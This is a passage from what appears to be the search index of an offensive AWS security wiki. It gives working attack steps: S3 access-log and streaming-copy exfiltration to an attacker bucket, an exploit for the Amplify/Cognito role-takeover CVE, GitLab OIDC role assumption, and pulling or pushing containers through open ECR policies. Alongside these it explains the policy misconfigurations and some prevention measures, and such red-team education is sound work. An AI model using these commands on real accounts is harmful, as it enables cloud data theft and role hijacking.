data.</p> <p>With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send <code>GetObject</code> requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.  </p>"},{"location":"aws/exploitation/s3_server_access_logs/#how","title":"How","text":"<p>We'll create an S3 bucket, <code>AttackerBucket</code> in our account with server access logging. Let's name the logging bucket <code>AttackerBucketLogs</code>. With our data in hand <code>ExampleDataToExfiltrate</code>, we will send a <code>GetObject</code> request to our bucket, for example:</p> <p><code>aws s3api get-object --bucket AttackerBucket  --key ExampleDataToExfiltrate</code></p> <p>The request will be denied. However the attempt along with the other details, including our key <code>ExampleDatatoExfiltrate</code> - which is the data we're exfiltrating -  will arrive to our logging bucket <code>AttackerBucketLogs</code>.</p> <p>We'll receive the data in the default logging format:</p> <pre><code>[..] attackerbucket [\u2026] 8.8.8.8 \u2013 [\u2026] REST.GET.OBJECT ExampleDataToExfiltrate \"GET / ExampleDataToExfiltrate HTTP/1.1\" 403 AccessDenied 243 - 18 - \"-\" \"UserAgentAlsoHasData \" \u2013 [\u2026]\n</code></pre> <p>We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.</p>"},{"location":"aws/exploitation/s3_server_access_logs/#challenges","title":"Challenges","text":"<p>There are two challenges with this method:</p> <ol> <li> <p>If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.</p> </li> <li> <p>The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.  </p> </li> </ol> <p>For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.</p>"},{"location":"aws/exploitation/s3_streaming_copy/","title":"S3 Streaming Copy","text":"<p>Shout Out to Janardhan Prabhakara for showing me this all those years ago!</p> <p>Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.</p> <p>Why would anyone use this?</p> <p>In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands. </p> <p>If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected.  However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.</p> <p>When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail.  The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.</p> <p>When using the aws-cli utilize the <code>--profile</code> to specify the IAM context profile from the .aws/credentials file.</p> <p>Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials <pre><code>[attacker]\naws_access_key_id = &lt;attacker_key_id&gt;\naws_secret_access_key = &lt;attacker_secret_key&gt;\n</code></pre></p> <p>Step 2: Create a profile for the VICTIM credentials.  These are the keys attained with access to the victim's AWS enviornment. </p> <p>Note</p> <p>This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.</p> <pre><code>[victim]\naws_access_key_id = &lt;victim_key_id&gt;\naws_secret_access_key = &lt;victim_secret_key&gt;\n</code></pre> <p>Step 3: example: S3 Stream Copy command for a single file from cli <pre><code>aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n</code></pre></p> <p>Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile <pre><code>aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n</code></pre></p> <p>Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.</p> <p>This is becoming more common with the popularity of Data Perimeter guardrails</p> <p>Note</p> <p>If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/","title":"Misconfigured Resource-Based Policies","text":"<p>Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom. </p> <p>For example, the following is a bucket policy (a type of resource-based policy) that would permit the <code>tester</code> user to list the contents of the <code>super-public-fun-bucket</code> S3 bucket.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3Listing\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::super-public-fun-bucket\"\n        }\n    ]\n}\n</code></pre> <p>Resource-based policies make it easy to share AWS resources across AWS accounts. They also, as a result, make it easy to unintentionally share resources. The common example of this is misconfigured S3 buckets which leak sensitive information. </p> <p>For a Penetration Tester or Red Teamer it is important to understand the intricacies of how resource-based policies work, and how they can be abused.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks","title":"The \u201c*\u201d Principal and Risks","text":"<p>In a resource-based policy you must specify a \u201cprincipal\u201d. This is the entity who is allowed (or denied) the ability to perform the action. It is possible to specify \u201c*\u201d as a principal which means that all users will be able to act on it. This effectively makes the resource public and anyone can perform actions against it.</p> <p>For a real world example of this, a telecommunications company had the following bucket policy set.</p> <pre><code>{\n  \"Sid\": \"AllowPublicRead\",\n  \"Effect\": \"Allow\",\n  \"Principal\": {\n    \"AWS\": \"*\"\n  },\n  \"Action\": [\n    \"s3:GetObject\",\n    \"s3:PutObject\"\n  ],\n  \"Resource\": \"arn:aws:s3:::media.tellacom.com/taskrouter/*\"\n}\n</code></pre> <p>The bucket this policy was attached to was used to distribute a JavaScript SDK, which would be a valid use-case for a public S3 bucket. As can be seen from the <code>Action</code> statement, the policy permitted both <code>s3:GetObject</code> and <code>s3:PutObject</code>. This enabled an attacker to overwrite the JavaScript SDK sitting in the bucket with malicious code. This code was then distributed from the legitimate bucket.</p> <p>While resource-based policy misconfigurations are often associated with leaking information (read), it is equally as dangerous that an adversary could modify (write to) the resource(s).</p> <p>Note</p> <p>Condition operators can be used to scope down the policy. For example, the principal can be set to \u201c*\u201d but the conditions can enforce which account can perform an action. It is important to thoroughly read the policy and understand the context before creating a finding for it. </p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#more-than-just-s3-buckets","title":"More Than Just S3 Buckets","text":"<p>It is worth noting that there are many different AWS services/resources which make use of resource-based policies. Each service will have its own security implications based on what the principal is and what the actions are. </p> <p>Note</p> <p>Prowler, an AWS assessment tool, can be used to quickly audit resource policies in an AWS account. Be mindful that it cannot contextualize all condition operators, and how they affect the account\u2019s security.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#dumping-and-analyzing-resource-based-policies-at-scale","title":"Dumping and analyzing resource-based policies at scale","text":"<p>You can download a copy of all resource-based policies configured in an account and run security linting checks against them using the aws-lint-iam-policies tool. It performs linting checks using the AWS IAM Access Analyzer policy validation feature, which also brings along a list of security-focused checks. </p> <p>Example invocation: <pre><code>python aws_lint_iam_policies.py --scope ACCOUNT --dump-policies\n</code></pre></p> <p>Instead of analyzing a single AWS account, the tool can also target all accounts of an AWS Organization.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#resource-based-policy-evaluation-logic","title":"Resource-Based Policy Evaluation Logic","text":"<p>It is important to note that resource-based policies have a unique quirk when it comes to policy evaluation logic. From the documentation, \u201cDepending on the type of principal, an Allow in a resource-based policy can result in a final decision of Allow, even if an implicit deny in an identity-based policy, permissions boundary, or session policy is present [within the same account]\u201d.</p> <p>Note</p> <p>An <code>implicit</code> deny is when there is no specific <code>Deny</code> statement, but there is also no <code>Allow</code> statement in a policy. You can think of an implicit deny as the starting point of a policy. Everything is denied by default and access has to be granted.</p> <p>An <code>explicit</code> deny is when there is a specific <code>Deny</code> statement in a policy. </p> <p>More information can be found in the documentation for the difference between explicit and implicit denies.</p> <p>This means that if there is an <code>Allow</code> in a resource policy, that entity can perform actions on the resource without an associated identity policy. Take the following SNS topic access policy (a form of resource-based policy) for example:</p> <p><pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n      },\n      \"Action\": [\n        \"SNS:GetTopicAttributes\",\n        \"SNS:SetTopicAttributes\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n</code></pre> This policy would permit the <code>tester</code> IAM user to perform <code>sns:GetTopicAttributes</code> and <code>sns:SetTopicAttributes</code> without the need for an <code>Allow</code> in the identity policies attached to the user.</p> <p>Note</p> <p>This behavior only applies to entities in the same AWS account. If the resource-based policy specified an IAM user in a different AWS account, that user would need to have an identity policy attached that allowed the action.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#not-policy-elements","title":"\u201cNot\u201d Policy Elements","text":"<p>Within the syntax for IAM policies in AWS exist three \u201cNot\u201d policy elements, NotPrincipal, NotAction, and NotResource. These elements have the inverse effect of their similarly named counterparts and, when paired with an <code>Allow</code>, can be a very serious misconfiguration.</p> <p>Because of this, policies which include these elements should be strictly scrutinized for potential misconfigurations.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notprincipal","title":"NotPrincipal","text":"<p>The NotPrincipal element is used to specify which entity is not a part of the policy. When paired with an <code>Allow</code> this means that all entities (including those outside of the account) will be permitted to perform actions against the resource.</p> <p>For example, the following SNS access policy would permit any entity to perform <code>sns:GetTopicAttributes</code> except for the <code>jim</code> user.</p> <pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"NotPrincipal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notaction","title":"NotAction","text":"<p>The NotAction element is used to specify all actions except the specified one. When paired with an <code>Allow</code> this means that all actions except the ones specified will be permitted. </p> <p>For example, the following SNS access policy would permit any entity the ability to perform all SNS actions except <code>sns:Publish</code>.</p> <pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"NotAction\": \"SNS:Publish\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notresource","title":"NotResource","text":"<p>The NotResource element is used to specify all resources except the specified one. When paired with an <code>Allow</code> this means that if the resource is incorrect, or mistyped, the statement will evaluate to true.</p> <p>For example, the following SNS access policy for an SNS topic named <code>first_topic</code> would permit the user <code>jim</code> the ability to perform the <code>sns:GetTopicAttributes</code> action because the statement specifies a <code>NotResource</code> element of <code>second_topic</code>.</p> <pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::222222222222:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"NotResource\": \"arn:aws:sns:us-east-1:111111111111:second_topic\"\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/","title":"CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios","text":"<ul> <li> <p> Original Research</p> <p> <p>Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover by Nick Frichette</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <p>AWS Security Bulletin: CVE-2024-28056</p> </li> </ul>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#background","title":"Background","text":"<p>In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.</p> <p>In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:</p> <ul> <li>Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.</li> <li>Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.</li> <li>Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.</li> </ul> <p>This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.</p> <p>Warning</p> <p>To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.</p> <p>Note</p> <p>This is not realistically something that can be \"fixed\". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#unauthenticated-example","title":"Unauthenticated Example","text":"<p>In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\"\n        }\n    ]\n}\n</code></pre> <p>Note</p> <p>There is another variant of this misconfiguration where the trust policy includes a condition for <code>cognito-identity.amazonaws.com:amr</code> that is set to <code>unauthenticated</code>.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit","title":"Steps to Exploit","text":"<p>In order to assume a role that has this vulnerable trust policy, follow these steps:</p> <ol> <li>Using the AWS CLI, perform the following command: <code>aws cognito-identity get-id --identity-pool-id &lt;victim identity pool id&gt;</code><ul> <li>This can typically be found in the client side JavaScript of the web application using this identity pool.</li> </ul> </li> <li>Using the <code>IdentityId</code> from step one, perform the following command: <code>aws cognito-identity get-open-id-token --identity-id &lt;identity id from step 1&gt;</code><ul> <li>This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.</li> </ul> </li> <li>With this JWT, perform the following command: <code>aws sts assume-role-with-web-identity --role-arn &lt;vulnerable role ARN&gt; --role-session-name &lt;session name of your choosing&gt; --web-identity-token &lt;JWT from step 2&gt;</code><ul> <li>The vulnerable role ARN will need to be brute-forced, derived from other values, found in source control, or a variety of other means.</li> </ul> </li> </ol> <p>By following these steps you should successfully generate IAM credentials for the vulnerable role:</p> <pre><code>{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIA123ABC456DEF789G\",\n        \"SecretAccessKey\": \"123ABC456DEF789G123ABC456DEF789GHI012JKL\",\n        \"SessionToken\": \"...snip...\",\n        \"Expiration\": \"2024-07-31T20:02:33+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"us-east-1:00000000-1111-2222-3333-444444444444\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROA123ABC456DEF789G:hijacked_role\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role\"\n    },\n    \"Provider\": \"cognito-identity.amazonaws.com\",\n    \"Audience\": \"us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc\"\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#authenticated-example","title":"Authenticated Example","text":"<p>In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Condition\": {\n                \"ForAnyValue:StringLike\": {\n                    \"cognito-identity.amazonaws.com:amr\": \"authenticated\"\n                }\n            }\n        }\n    ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit_1","title":"Steps to Exploit","text":"<p>In order to assume a role that has this vulnerable trust policy, follow these steps:</p> <ol> <li>First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.</li> <li>Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using <code>USER_PASSWORD_AUTH</code>.<ul> <li>Run the following command: <code>aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id &lt;client id of the victim user pool&gt; --auth-parameters USERNAME=&lt;username&gt;,PASSWORD=&lt;password&gt;</code></li> <li>This will return an <code>IdToken</code> that will be used in the next step.</li> <li>Note: The <code>AccessToken</code> is NOT the same as the <code>IdToken</code>. </li> </ul> </li> <li>Run the following command: <code>aws cognito-identity get-id --identity-pool-id &lt;victim identity pool id&gt; --logins '{\"cognito-idp.&lt;region&gt;.amazonaws.com/&lt;victim user pool id&gt;\":\"&lt;IdToken from step 2&gt;\"}'</code><ul> <li>This will return an <code>IdentityId</code> that will be used in the next step.</li> </ul> </li> <li>Run the following command: <code>aws cognito-identity get-open-id-token --identity-id &lt;IdToken from step 3&gt; --logins '{\"cognito-idp.us-east-1.amazonaws.com/&lt;victim user pool id&gt;\":\"&lt;IdToken from step 2&gt;\"}'</code><ul> <li>Note: You MUST include the <code>logins</code> parameter, it is not optional.</li> <li>This will return a JWT we will use in the next step.</li> </ul> </li> <li>With this JWT, perform the following command: <code>aws sts assume-role-with-web-identity --role-arn &lt;vulnerable role ARN&gt; --role-session-name &lt;session name of your choosing&gt; --web-identity-token &lt;JWT from step 4&gt;</code></li> </ol> <p>By following these steps you should successfully generate IAM credentials for the vulnerable role.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/","title":"Exploiting Misconfigured GitLab OIDC AWS IAM Roles","text":"<p>OpenID Connect (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: one, two, and three), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.</p> <p>In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.</p> <p>Warning</p> <p>In this article, we are only covering misconfigured roles with a trust relationship to the gitlab.com SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a pull request and update this article as needed.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#iam-role-misconfiguration-using-gitlab-oidc","title":"IAM role misconfiguration using GitLab OIDC","text":"<p>According to the GitLab documentation, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n      },\n      \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n      \"Condition\": {\n        \"StringEquals\": {\n          \"gitlab.com:sub\": \"project_path:mygroup/myproject:ref_type:branch:ref:main\"\n        }\n      }\n    }\n  ]\n}\n</code></pre> <p>There are several important elements of this trust policy including:</p> <ul> <li><code>Principal.Federated</code>: This is the identity provider that authorizes the role assumption. It is important to note that while each AWS account will have its own identity provider, this is simply a stand-in for the global <code>gitlab.com</code> provider. </li> <li><code>Action</code>: This is the specific type of assume role being used. In this case it is sts:AssumeRoleWithWebIdentity.</li> <li><code>gitlab.com:sub</code>: This is an optional condition which restricts the group, project, or branch which is permitted to assume the role.</li> </ul> <p>The word \"optional\" from the previous sentence is why this attack is possible. There is no requirement to include a condition which restricts which specific group or project is permitted to assume a role. As a result of this anyone with access to gitlab.com could assume a role with this misconfiguration.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-to-exploit-this-misconfiguration","title":"How to exploit this misconfiguration","text":"<p>In this situation we will assume a role that has the following trust policy:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Principal\": {\n                \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n            },\n            \"Condition\": {\n                \"StringEquals\": {\n                    \"gitlab.com:aud\": [\n                        \"https://gitlab.com\"\n                    ]\n                }\n            }\n        }\n    ]\n}\n</code></pre> <p>Note</p> <p>In this example there is no condition on the <code>sub</code> field, restricting who is permitted to assume the role. This is the default trust policy that is set when creating a role through the AWS Console. More on this later. </p> <p>To exploit this misconfigured role, we must generate a JWT that can be used to authorize the sts:AssumeRoleWithWebIdentity invocation. To do this, create an account on gitlab.com or use an existing one.</p> <p>Next, create a project, and in this newly created project, create a file called <code>.gitlab-ci.yml</code>. This is the configuration file for GitLab CI. Add the following content to the <code>.gitlab-ci.yml</code> file:</p> <pre><code>assume role:\n  id_tokens:\n    GITLAB_OIDC_TOKEN:\n      aud: https://gitlab.com\n  script:\n    - echo ${GITLAB_OIDC_TOKEN} | base64 -w 0\n</code></pre> <p>Warning</p> <p>The <code>base64 -w 0</code> is required because GitLab will mask the output if you simply echo the <code>GITLAB_OIDC_TOKEN</code>. </p> <p>After adding this content to the <code>.gitlab-ci.yml</code> file, navigate to \"Build &gt; Jobs\" on the left side, and click on the most recent CI job. Here you should see the OIDC token that we base64 encoded.</p> <p></p> <p>From here, decode the base64 encoded blob (<code>base64 -d</code>) to get the original <code>GITLAB_OIDC_TOKEN</code>. This is the JWT you will use in the following sts:AssumeRoleWithWebIdentity call.</p> <p>Note</p> <p>You can optionally decode this value to see that the issuer is <code>https://gitlab.com</code>. This is what is being validated in the sts:AssumeRoleWithWebIdentity and because there is no condition on the <code>sub</code> field, we are able to assume the misconfigured role.</p> <pre><code>nick.frichette@host ~ % aws sts assume-role-with-web-identity \\\n--role-arn &lt;ARN of misconfigured role&gt;\n--role-session-name &lt;session name of your choosing&gt;\n--web-identity-token  &lt;JWT from previous step&gt;\n{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIAEXAMPLE123EXAMPL\",\n        \"SecretAccessKey\": \"EXAMPLE123EXAMPLE123EXAMPLE123EXAMPLE123\"\n        \"SessionToken\": \"[..snip..]\",\n        \"Expiration\": \"2024-09-01T23:20:01+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"project_path:secres/runner-test:ref_type:branch:ref:main\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROAEXAMPLE123EXAMPL:blah\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vuln-gitlab-runner-role/blah\"\n    },\n    \"Provider\": \"arn:aws:iam::111111111111:oidc-provider/gitlab.com\",\n    \"Audience\": \"https://gitlab.com\"\n}\n</code></pre> <p>You have successfully used a JWT generated from gitlab.com to assume a misconfigured IAM role!</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-the-aws-console-causes-this-misconfiguration-by-default","title":"How the AWS console causes this misconfiguration by default","text":"<p>If you've been following along, you may wonder, \"Why would anyone make this misconfiguration? The GitLab documentation provides an example that is secure\". Misconfigurations occur for a wide variety of reasons and in a wide variety of scenarios, however this one may have a more clear cut reason. </p> <p>When creating IAM roles in the AWS console, developers can choose a <code>trusted entity</code> for <code>Web identity</code>. This will pre-populate the trust policy of the IAM role and generally makes things easier. However, when a developer chooses <code>Web identity</code> and selects <code>gitlab.com</code> as the identity provider, there is no requirement for a condition on the <code>sub</code> field. Using the AWS console to create the IAM role will generate a vulnerable role by defualt.</p> <p></p> <p></p> <p>Compare this behavior to GitHub Actions or Terraform Cloud. In both of these situations, AWS made changes to the AWS Console to require additional fields to mitigate this type of attack.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/","title":"Abusing Misconfigured ECR Resource Policies","text":"<p>AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.</p> <p>Note</p> <p>Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#understanding-ecrgetauthorizationtoken","title":"Understanding ecr:GetAuthorizationToken","text":"<p>A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the <code>Action</code> element is <code>ecr:*</code>). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.</p> <p>Note</p> <p>When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls <code>ecr:GetAuthorizationToken</code> to provide the needed authorization.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#downloading-containers","title":"Downloading Containers","text":"<p>Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.</p> <p>As an example, take the following misconfigured resource policy for an ECR private repository.</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AllowAll\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": [\n        \"ecr:BatchGetImage\",\n        \"ecr:GetDownloadUrlForLayer\"\n      ]\n    }\n  ]\n}\n</code></pre> <p>This policy would permit us the ability to download containers from the vulnerable repository to our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.</p> <pre><code>aws ecr get-login-password --region &lt;region&gt; | docker login --username AWS --password-stdin &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com\n</code></pre> <p>Next, we will pull the container with the following command.</p> <pre><code>docker pull &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com/&lt;repository name&gt;:vulnerable\n</code></pre> <p>We can now loot this container for source code or other valuable information.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#uploading-containers","title":"Uploading Containers","text":"<p>Required Permissions: ecr:GetLoginPassword, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:PutImage.</p> <p>Info</p> <p>As an anecdotal aside, the number of permissions required to perform a container upload may inadvertently increase the likelihood of a <code>Principal</code> being set to <code>*</code>. If you're a developer or ops person just trying to get something done, it may be enticing to set it to a wildcard and be done with it/forget about it.</p> <p>As an example, take the following misconfigured resource policy for an ECR private repository.</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"ExamplePolicy\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"ecr:*\"\n    }\n  ]\n}\n</code></pre> <p>This policy would permit us the ability to upload containers to the repository from our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.</p> <pre><code>aws ecr get-login-password --region &lt;region&gt; | docker login --username AWS --password-stdin &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com\n</code></pre> <p>Next, we need to create/choose a container to upload. In a real world scenario you would likely want to create a container which runs your C2 of choice, or perhaps a simple script to retrieve IAM credentials. For this example, we will use an Ubuntu container.</p> <pre><code>docker tag 